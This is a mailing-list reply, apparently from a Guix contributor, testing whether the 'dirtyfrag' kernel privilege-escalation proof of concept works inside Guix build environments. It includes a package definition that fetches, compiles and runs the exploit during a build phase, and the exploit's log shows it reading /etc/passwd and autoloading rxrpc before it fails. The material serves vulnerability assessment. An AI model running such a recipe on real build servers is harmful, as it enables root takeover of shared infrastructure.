Hi, pinoaffe <[email protected]> writes:
> This sounds like it could result in guix build servers being taken over > by someone who submits a PR which runs the exploit during build time - > does anyone know whether mitigations are in place? I think it might be > worthwhile to temporarily disable building non-whitelisted branches > until the build servers are updated Unsure if our build environment is affected. I tried to run the proof of concept (https://github.com/V4bel/dirtyfrag) inside a build using the following package definition: #+BEGIN_SRC (define-public dirtyfrag (package (name "dirtyfrag") (version "07995be9d940f826deb0e9faa6d9f6e8fe2535e7") (source (origin (method git-fetch) (uri (git-reference (url "https://github.com/V4bel/dirtyfrag";) (commit version))) (file-name (git-file-name name version)) (sha256 (base32 "1fqhhqnfhwpzqdanbsclwk86zhdb5kp8lvfh1arb73l7yi0n8886")))) (build-system gnu-build-system) (arguments (list #:tests? #f #:phases #~(modify-phases %standard-phases (delete 'configure) (replace 'build (lambda _ (invoke "gcc" "-O0" "-Wall" "-o" "exp" "exp.c" "-lutil"))) (add-after 'build 'run-exploit (lambda _ (chmod "exp" #o755) (invoke "./exp" "-v"))) (replace 'install (lambda* (#:key outputs #:allow-other-keys) (let ((bin (string-append #$output "/bin"))) (install-file "exp" bin))))))) (native-inputs (list pkg-config)) (inputs (list linux-libre-headers)) (home-page "https://github.com/V4bel/dirtyfrag";) (synopsis "Dirtyfrag") (description "Dirtyfrag") (license #f))) #+END_SRC and that, at least, fails: === STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") === [+] plain UDP fake-server bound :7785 [+] AF_RXRPC client bound :7786 [!] client sendmsg: Key was rejected by service [!] rxrpc_client_initiate_call failed [!] kernel trigger A failed dirtyfrag: failed (rc=3) error: in phase 'run-exploit': uncaught exception: %exception #<&invoke-error program: "./exp" arguments: ("-v") exit-status: 3 term-signal: #f stop-signal: #f> phase `run-exploit' failed after 7.9 seconds even though I haven't found time yet to figure out if a modified version of this proof of concept could work regarding this vulnearability, as there's a chance this was written with FHS-compliant distributions in mind or with other assumptions in mind that don't have to hold true for Guix. What I could see in the output was, that /etc/passwd was seemingly successfully read and that the rxrpc module was seemingly successfully autoloaded: === rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) === [*] uid=999 euid=999 gid=30000 [+] rxrpc module autoloaded via dummy socket(AF_RXRPC) [+] target /etc/passwd opened RO, size=84, uid=0 gid=0 mode=0644 [+] mmap'd /etc/passwd page-cache at 0x7ffff7d9b000 (PROT_READ|MAP_SHARED) [+] /etc/passwd line 1 first 16 bytes: 6e 69 78 62 6c 64 3a 78 3a 39 39 39 3a 33 30 30 [*] /etc/passwd line 1 (root entry) BEFORE: 'nixbld:x:999:30000:Nix build use' [+] Ca @ 4: 6c643a783a393939 "ld:x:999" [+] Cb @ 6: 3a783a3939393a33 ":x:999:3" [+] Cc @ 8: 3a3939393a333030 ":999:300" [+] fcrypt selftest OK but the exploit itself fails. -- Kind regards, Wilko Meyer
